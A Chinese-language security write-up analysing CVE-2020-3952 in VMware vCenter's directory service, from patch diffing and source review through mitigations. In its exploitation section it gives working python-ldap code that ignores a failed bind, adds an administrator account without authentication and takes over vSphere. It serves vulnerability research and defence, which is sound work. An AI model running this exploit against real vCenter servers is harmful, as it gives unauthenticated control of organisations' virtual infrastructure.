CVE-2020-3952:vCenter信息泄露漏洞分析

 

0x00 前言

VMware上周四发布了针对CVE-2020-3952的安全公告,据官方描述,这是“VMware目录服务(vmdir)中的敏感信息披露漏洞”。这个安全公告内容非常简洁,提到从旧版升级的vCenter Server v6.7会受该漏洞影响,此外没有给出更多信息。

这个公告值得注意的一点是,该漏洞的CVSS评分为10.0,这也是CVSS的最高分。尽管如此,我们还是没有找到关于该漏洞的任何技术细节。我们需要更进一步理解该漏洞的风险,了解攻击者利用该漏洞的方式,因此我们开始研究VMware补丁(vCenter Appliance 6.7 Update 3f)中引入的改动。

除了梳理官方对vCenter Directory Service的改动外,我们还分析了导致该漏洞的代码流。我们的分析表明,只要攻击者能通过网络访问vCenter Directory Service,那么只需要使用3个简单的未授权LDAP命令就能在vCenter Directory中添加管理员账户。我们实现了针对该漏洞的简单PoC,可以远程控制整个vSphere部署环境。

这里先总结一下要点:

该漏洞由旧版vmdir LDAP处理代码中的2个关键问题所导致:

1、函数VmDirLegacyAccessCheck中存在bug,当权限检查失败时依然会授予访问权限。

2、安全设计流上存在缺陷,认为不带有令牌的LDAP会话是内部操作,从而将root权限赋予该会话。

 

0x01 补丁分析

由于VMware将新版本以完整磁盘镜像方式提供,没有采用增补包形式,因此我们需要diff对比上一个版本(Update 3e)以及最新版本。挂载磁盘镜像后,我们发现这些发行版大部分由一长串的RPM所组成。当我们提取完所有包的内容后,可以逐一比对哈希,检测哪些文件被修改过。

不幸的是,更新完后我们发现有将近1500个文件被修改过,这个数量远远大于我们能手动检测的量。我们猜测漏洞可能与名字中带有vmdir关键字的组件有关,这样就能大大缩减所得结果,列表如下:

usr/lib/vmware-vmdir/lib64/libcsrp.a 
usr/lib/vmware-vmdir/lib64/libcsrp.la 
usr/lib/vmware-vmdir/lib64/libgssapi_ntlm.a 
usr/lib/vmware-vmdir/lib64/libgssapi_ntlm.la 
usr/lib/vmware-vmdir/lib64/libgssapi_srp.a 
usr/lib/vmware-vmdir/lib64/libgssapi_srp.la 
usr/lib/vmware-vmdir/lib64/libgssapi_unix.a 
usr/lib/vmware-vmdir/lib64/libgssapi_unix.la 
usr/lib/vmware-vmdir/lib64/libkrb5crypto.a 
usr/lib/vmware-vmdir/lib64/libkrb5crypto.la 
usr/lib/vmware-vmdir/lib64/libsaslvmdirdb.a 
usr/lib/vmware-vmdir/lib64/libsaslvmdirdb.la 
usr/lib/vmware-vmdir/lib64/libvmdirauth.a 
usr/lib/vmware-vmdir/lib64/libvmdirauth.la 
usr/lib/vmware-vmdir/lib64/libvmdirclient.a 
usr/lib/vmware-vmdir/lib64/libvmdirclient.la 
usr/lib/vmware-vmdir/lib64/libvmkdcserv.a 
usr/lib/vmware-vmdir/lib64/libvmkdcserv.la 
usr/lib/vmware-vmdir/sbin/vmdird

因此我们似乎得到了包含在单个已编译二进制文件(vmdird)中的一堆静态链接库。换而言之,从Update 3e开始vmdir服务器有了不少改动,看起来这个分析任务很有希望能完成。

在执行diff操作前,我们需要了解vmdird导出符号中是否存在明显的变化。对比结果如下:

jj@ubuntu:~/misc/vms$ diff <(objdump -T patched_extracted/usr/lib/vmware-vmdir/sbin/vmdird | 
cut -f 2- -d " " | sort | uniq) <(objdump -T unpatched_extracted/usr/lib/vmware-vmdir/sbin/vmdird | cut -f 2- -d " " | sort | uniq) 1370a1371 > g    DF .text 00000000000000ce  Base        VmDirLegacyAccessCheck
1440d1440
< g DF .text 00000000000000ef Base VmDirLegacyAccessCheck 2194a2195 > g    DF .text 000000000000038d  Base        VmDirSrvAccessCheck
2199d2199
< g    DF .text 0000000000000393  Base        VmDirSrvAccessCheck

这里有个名为VmDirLegacyAccessCheck的函数,看上去应该是一个不错的切入点,因为VMware提到过:“当vmdir服务开始启用旧版ACL模式时,受影响的环境会创建一个log条目”。

我们在IDA中分析这些函数的反汇编代码,未打补丁的代码如下,其中我们标出了可以修改函数返回值的语句。

__int64 __fastcall VmDirLegacyAccessCheck(__int64 a1, __int64 a2, __int64 a3, 
unsigned int a4)
{
  unsigned int v5; // [rsp+14h] [rbp-2Ch]@1
  __int64 v6; // [rsp+18h] [rbp-28h]@1
   unsigned int v7; // [rsp+3Ch] [rbp-4h]@1, highlighted

  v6 = a3;
  v5 = a4;
  v7 = 0;  // VMDIR_SUCCESS, highlighted
  if ( !(unsigned __int8)sub_4EF7B1(a1, a2, a4)
    && v5 == 2
    && ((unsigned __int8)sub_4EF510(v6) || (unsigned __int8)sub_4EF218(v6) || (unsigned __int8)VmDirIsSchemaEntry(v6)) )
  {
    v7 = 9114;  // VMDIR_ERROR_UNWILLING_TO_PERFORM, highlighted
    VmDirLog1(4);
  }
  return v7;
}

漏洞修复后的代码如下:

__int64 __fastcall VmDirLegacyAccessCheck(__int64 a1, __int64 a2, __int64 a3, unsigned int a4)
{
  unsigned int v5; // [rsp+14h] [rbp-2Ch]@1
  __int64 v6; // [rsp+18h] [rbp-28h]@1
  unsigned int v7; // [rsp+3Ch] [rbp-4h]@1, highlighted

  v6 = a3;
  v5 = a4;
  v7 = 9207;  // VMDIR_ERROR_INSUFFICIENT_ACCESS, highlighted
  if ( a4 == 2
    && ((unsigned __int8)sub_4EF5B1(a3) || (unsigned __int8)sub_4EF2B9(v6) || (unsigned __int8)VmDirIsSchemaEntry(v6)) )
  {
    v7 = 9114;  // VMDIR_ERROR_UNWILLING_TO_PERFORM, highlighted
    VmDirLog1(4);
  }
  else if ( (unsigned __int8)sub_4EF852(a1, a2, v5) )
  {
    v7 = 0;  // VMDIR_SUCCESS, highlighted
  }
  else if ( v5 == 16 && (unsigned __int8)sub_4EF220(v6) )
  {
    v7 = 0;  // VMDIR_SUCCESS, highlighted
  }c
  return v7;
}

打上补丁后,如果这些条件均不满足,那么VmDirLegacyAccessCheck会返回9207VMDIR_ERROR_INSUFFICIENT_ACCESS)。这个返回值在之前的版本中并不存在,根据这个返回值,我们找到了Github上的一个项目:Lightwave。VMware在Github上已经公开了vmdir的代码。

 

0x02 分析源码

我们不仅在VMWare官方仓库中找到了VmDirLegacyAccessCheck的源码,而且该代码也适用于打上补丁的最新版函数。观察引入补丁的时间,我们发现2017年8月份有一次commit,信息如下:

本次改动解决了旧版方案中存在一个bug,可执行如下测试:

1、在老版DB + LW 1.2中创建一个普通用户,比如testuser1

2、打补丁之前,testuser1将获得更多的权限;

3、打补丁之后,testuser1只能读/写自己相关的条目,不能读写其他条目。

因此至少有一个VMware开发者(在补丁推出前)意识到了这个问题:旧版本访问模式“比预期具备更多的权限”。

在打补丁之前,VmDirLegacyAccessCheck的返回值默认为成功返回值。如果未能通过_VmDirAllowOperationBasedOnGroupMembership的权限检查,返回值将保持为0(即VMDIR_SUCCESS),最终授予该操作访问权限。

现在我们找到了似乎存在漏洞的一个函数,来看一下函数的调用时机,以及如何利用该函数。

 

0x03 存在漏洞的vCenter

目前我们手头上只有全新安装的vCenter Server 6.7,并不是直接更新自老版本(6.5或6.0)。根据VMware的描述,在存在漏洞的系统上,我们可以在/var/log/vmware/vmdird/vmdird-syslog.log(或者%ALLUSERSPROFILE%\VMWare\vCenterServer\logs\vmdird\vmdir.log)中找到特定日志:

2020-04-06T17:50:41.860526+00:00 info vmdird  t@139910871058176: ACL MODE: Legacy

由于我们的vCenter Server不存在漏洞,因此日志文件中不包含这个特征。检查打印这行日志的代码,我们找到了一个函数:VmDirIsLegacyACLMode

static
BOOLEAN
_VmDirIsLegacyACLMode(
    VOID
    )
{
...

    dwError = VmDirBackendUniqKeyGetValue(
                VMDIR_KEY_BE_GENERIC_ACL_MODE,  // "acl-mode"
                &pValue);
...

    // We should have value "enabled" found for ACL enabled case.
    bIsLegacy = VmDirStringCompareA(pValue, VMDIR_ACL_MODE_ENABLED, FALSE) != 0;
…
    if (bIsLegacy)
    {
        VMDIR_LOG_INFO(VMDIR_LOG_MASK_ALL, "ACL MODE: Legacy");
    }
...
}

根据代码,某个地方应有一对键值,包含acl-modeenabled(非传统模式)或者disabled(传统模式)字符串。可以肯定的是,(打补丁后的)vmdir数据库文件(/storage/db/vmware-vmdir/data.mdb)中多次出现acl-modeenabled字符串。将该字符串中的enabled修改为其他内容(由于disabled会修改字符串的大小,因此我们不要修改成disabled),重启vmdir后,我们就可以在vmdird-syslog.log中看到这个特征日志。

这也解释了为什么只有升级过的vCenter Server 6.7主机存在该漏洞,而全新安装的版本不受该漏洞影响。在升级后的6.7主机上,vmdird程序仍然存在漏洞。是否存在漏洞与ACL模式配置信息中的改动有关,全新安装的版本默认情况下采用非传统模式(启用了acl-mode),但升级版保留了之前的配置,默认启用的是传统模式。

 

0x04 漏洞利用

此时,我们需要澄清如何触发代码流,访问到存在漏洞的VmDirLegacyAccessCheck函数。

从调用关系图中,我们可知添加、修改以及搜索请求都会经过VmDirLegacyAccessCheck处理。

第1次尝试

我们首先安装ldap-utils,尝试使用错误的凭据在vCenter主机中添加一个用户:

root@computer:~# ldapadd -x -w 1234 -f hacker.ldif -h 192.168.1.130
 -D"cn=Administrator,cn=Users,dc=vsphere,dc=local"
ldap_bind: Invalid credentials (49)

并没有完成任务,来看一下vmdird的日志内容:

2020-04-15T14:20:56.079504+00:00 info vmdird  t@140564750137088: Bind failed () 
(9234)
2020-04-15T14:20:56.080409+00:00 err vmdird  t@140564750137088: 
VmDirSendLdapResult: Request (Bind), Error (49), Message (), (0) socket 
(192.168.0.254)
2020-04-15T14:20:56.080832+00:00 err vmdird  t@140564750137088: Bind Request 
Failed (192.168.0.254) error 49: Protocol version: 3, Bind DN: 
"cn=Administrator,cn=Users,dc=vsphere,dc=local", Method: Simple

看上去我们似乎并没有触及到该请求的add部分。ldapadd在对服务端执行任何命令之前,首先需要执行bind操作,但bind操作将返回9234错误(VMDIR_ERROR_USER_INVALID_CREDENTIAL)。那么是否有办法能绕过bind阶段呢?

我们安装了python-ldap,尝试自己执行该操作。

dn = 'cn=Hacker,cn=Users,dc=vsphere,dc=local'
modlist = {
    'userPrincipalName': ['hacker@VSPHERE.LOCAL'],
    'sAMAccountName': ['hacker'],
    'givenName': ['hacker'],
    'sn': ['vsphere.local'],
    'cn': ['Hacker'],
    'uid': ['hacker'],
    'objectClass': ['top', 'person', 'organizationalPerson', 'user'],
    'userPassword': 'TheHacker1!'
}

c = ldap.initialize('ldap://192.168.1.130')
c.add_s(dn, ldap.modlist.addModlist(modlist))

Traceback (most recent call last):
  File "do_ldap.py", line 27, in 
    print c.add_s(dn, ldap.modlist.addModlist(modlist))
...
ldap.INSUFFICIENT_ACCESS: {'info': u'Not bind/authenticate yet', 'desc': u'Insufficient access'}

依然没完成任务,vCenter服务器中的日志如下:

2020-04-15T14:32:21.526506+00:00 err vmdird  t@140565521872640: 
VmDirSendLdapResult: Request (Add), Error (50), Message (Not bind/authenticate yet), (0) socket (192.168.0.254)

bind/authenticate

观察代码中的错误信息“Not bind/authenticate yet”,我们找到了另一个函数:VmDirMLAdd

int
VmDirMLAdd(
    PVDIR_OPERATION pOperation
    )
{
    ...
    // AnonymousBind Or in case of a failed bind, do not grant add access
    if (pOperation->conn->bIsAnonymousBind || VmDirIsFailedAccessInfo(&pOperation->conn->AccessInfo))
    {
        dwError = LDAP_INSUFFICIENT_ACCESS;
        BAIL_ON_VMDIR_ERROR_WITH_MSG(
                dwError, pszLocalErrMsg,
                "Not bind/authenticate yet");
    }

    ...

    dwError = VmDirInternalAddEntry(pOperation);
    BAIL_ON_VMDIR_ERROR(dwError);
    ...
}

如代码所示,如果客户端想添加条目,必须满足2个条件:

1、LDAP会话不能为匿名会话,也就是必须指定一个域;

2、会话不应当包含“失败的访问信息”。

首先我们来绕过第一个条件。为了完成该任务,我们需要bIsAnonymousBind设置为FALSE。设置该变量的唯一代码位于VmDirMLBind中:

int
VmDirMLBind(
   PVDIR_OPERATION   pOperation
   )
{
    ...
    pOperation->conn->bIsAnonymousBind = TRUE;  // default to anonymous bind

    switch (pOperation->request.bindReq.method)
    {
        case LDAP_AUTH_SIMPLE:
                  ...
                  pOperation->conn->bIsAnonymousBind = FALSE;
                  dwError = VmDirInternalBindEntry(pOperation);
                  BAIL_ON_VMDIR_ERROR(dwError);
                  ...

                break;

        case LDAP_AUTH_SASL:
                pOperation->conn->bIsAnonymousBind = FALSE;
                dwError = _VmDirSASLBind(pOperation);
                BAIL_ON_VMDIR_ERROR(dwError);
               ...
                break;

       ...
    }
    ...
}

需要注意的是,无论VmDirInternalBindEntry是否成功,bIsAnonymousBind都会被赋值为FALSE。即使bind时没有通过身份认证,我们也能通过第一个条件。

对于第2个条件,VmDirIsFailedAccessInfo做了哪些操作?令人惊讶的是,这个函数的逻辑比较简单:

/* Check whether it is a valid accessInfo
 * (i.e.: resulted by doing a successful bind in an operation) */
BOOLEAN
VmDirIsFailedAccessInfo(
    PVDIR_ACCESS_INFO   pAccessInfo
    )
{

    BOOLEAN     bIsFaliedAccessPermission = TRUE;

    if ( ! pAccessInfo->pAccessToken )
    {   // internal operation has NULL pAccessToken, yet we granted root privilege
        bIsFaliedAccessPermission = FALSE;
    }
    else
    {   // coming from LDAP protocol, we should have BIND information
        if ( ! IsNullOrEmptyString(pAccessInfo->pszBindedObjectSid)
             &&
             ! IsNullOrEmptyString(pAccessInfo->pszNormBindedDn)
             &&
             ! IsNullOrEmptyString(pAccessInfo->pszBindedDn)
           )
        {
            bIsFaliedAccessPermission = FALSE;
        }
    }

    return bIsFaliedAccessPermission;
}

为了到达添加用户的代码执行流,我们需要让该函数返回FALSE。我们先来看第一种方法:检查NULL访问令牌。

比较奇怪的是,在是否授予访问权限时,该函数会允许不带有访问令牌的用户。根据检查条件下的注释,我们可知该条件针对的是“内部操作”。可能是因为vmdird内部发起的LDAP请求中pAccessToken字段值将为空,以表示该请求应当被允许通过,并且其他任何访问在更早的bind阶段就已经失败。这是比较奇怪的一种处理方式,针对这种场景,开发者应当专门设计一个pAccessInfo->bIsInternalOperation字段。

bind失败时,pAccessInfo->pAccessToken将保留空值。VmDirInternalBindEntry的代码如下所示,vmdird消息循环中的VmDirMLBind会调用这个函数。

* Return: VmDir level error code.  Also, pOperation->ldapResult content is set.
 */
int
VmDirInternalBindEntry(
    PVDIR_OPERATION  pOperation
    )
{
    DWORD                   retVal = LDAP_SUCCESS;
    ...

    // Normalize DN
    retVal = VmDirNormalizeDN( &(pOperation->reqDn), pOperation->pSchemaCtx );
    BAIL_ON_VMDIR_ERROR_WITH_MSG( retVal, pszLocalErrMsg, "DN normalization failed - (%u)(%s)", retVal, VDIR_SAFE_STRING(VmDirSchemaCtxGetErrorMsg(pOperation->pSchemaCtx)) );

...

cleanup:

    VMDIR_SAFE_FREE_MEMORY( pszLocalErrMsg );
    VmDirFreeEntryContent ( &entry );
    return retVal;

error:
    ...
    if (retVal)
    {
        VmDirFreeAccessInfo(&pOperation->conn->AccessInfo);

        VMDIR_LOG_INFO(VMDIR_LOG_MASK_ALL,
                        "Bind failed (%s) (%u)",
                        VDIR_SAFE_STRING(pszLocalErrMsg), retVal);
        retVal = LDAP_INVALID_CREDENTIALS;
        ...
    }

    VMDIR_SET_LDAP_RESULT_ERROR(&(pOperation->ldapResult), retVal, pszLocalErrMsg);
    goto cleanup;
}

我们提供的不正确凭证会执行到VmDirNormalizeDN处,最终将我们转到错误执行流,清除掉pOperation->conn->AccessInfo->pAccessToken

让我们回到前面的2个条件:

if (pOperation->conn->bIsAnonymousBind || 
VmDirIsFailedAccessInfo(&pOperation->conn->AccessInfo))

现在这2个条件均已满足。

因此,虽然我们无法跳过bind操作,直接执行其他命令,但即使在bind尝试失败后,我们似乎也能通过这个检查条件。

利用现有条件

现在我们掌握了哪些条件呢?我们最终访问到了存在问题的VmDirLegacyAccessCheck,在执行添加操作前,VmDirInternalAddEntry会调用VmDirSrvAccessCheck,后者会调用VmDirSrvAccessCheck

从理论上讲,在整个程序流中,我们应该在很早的某个环节中就无法走到当前分支。VmDirLegacyAccessCheck是最后一道安全防线,其任务是检查特定用户是否可以执行这种特定的访问操作(添加或修改LDAP条目)。正确的身份校验首先就不应当允许我们到达目前的位置,身份校验本来应当阻止我们继续前进的。

但前面我们提到过:

该漏洞由旧版vmdir LDAP处理代码中的2个关键问题所导致:

1、函数VmDirLegacyAccessCheck中存在bug,当权限检查失败时依然会授予访问权限。

2、安全设计流上存在缺陷,认为不带有令牌的LDAP会话是内部操作,从而将root权限赋予该会话。

这似乎就是我们利用链中所需的最后一环。如果VmDirLegacyAccessCheck始终放行,那么我们应该能成功通过访问权限检查,最终添加我们的用户。

那么如果我们忽略bind返回的结果,会出现什么情况?

c = ldap.initialize('ldap://192.168.1.130')
try:
  c.simple_bind_s(dn, 'fakepassword')
except:
  pass
c.add_s(dn, ldap.modlist.addModlist(modlist))

此时/var/log/vmware/vmdird/vmdird-syslog.log中并没有任何输出日志,我们能否通过搜索请求看到这个用户呢?

root@computer:~# ldapsearch -b "cn=Hacker,cn=Users,dc=vsphere,dc=local" -s sub -D "cn=Administrator,cn=Users,dc=vsphere,dc=local" -h 192.168.1.130 -x -w 
# extended LDIF
#
# LDAPv3
# base <cn=Hacker,cn=Users,dc=vsphere,dc=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# Hacker, Users, vsphere.local
dn: cn=Hacker,cn=Users,dc=vsphere,dc=local
nTSecurityDescriptor:: ...
krbPrincipalKey:: ...
sn: vsphere.local
userPrincipalName: hacker@VSPHERE.LOCAL
cn: Hacker
givenName: hacker
uid: hacker
sAMAccountName: hacker
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

难以置信。如果我们尝试使用这个新用户连接vSphere呢?

那么从哪里能获得“连接到该客户端的vCenter Server系统的权限”呢?我们可以使用同样未经身份认证的连接,将Hacker用户加入Administrator组中:

groupModList = [(ldap.MOD_ADD, 'member', [dn])]
c.modify_s('cn=Administrators,cn=Builtin,dc=vsphere,dc=local', groupModList)

再次尝试:

成功黑入目标系统。

PoC

我们提供了一个利用脚本,将这些利用环节串在一起,大家可以访问我们的Github仓库自己尝试一下。

 

0x05 缓解措施

缓解以上风险最有效的方法就是为存在漏洞的vCenter Server打上补丁,此外我们也可以安装最新版(7.0),确保vSphere环境安全。

我们强烈建议管理员限制用户对vCenter LDAP接口的访问权限,也就是说,除了管理场景之外,应当禁止使用LDAP端口(389)。

此外我还想再提几句。尽管VMware的代码比较清晰,但还是存在很多失误才会导致该漏洞。至少开发者应该也注意到了这些点,比如我们前面在代码注释以及commit消息中也看到过一些蛛丝马迹。官方对VmDirLegacyAccessCheck的修复看上去只是小打小闹,如果VMware更深入研究,将发现一系列需要解决的问题:bIsAnonymousBind存在的奇怪逻辑、pAccessToken的灾难性处理以及VmDirLegacyAccessCheck(这也是我们漏洞研究的源头)。

不过,有一点可能最令人困扰:对VmDirLegacyAccessCheck的错误修正代码大概在3年前就已经编写,但直到现在才发布。对于像LDAP权限提升之类的敏感漏洞,这个时间有点过长了,更何况这个问题导致的不单单是权限提升。

(完)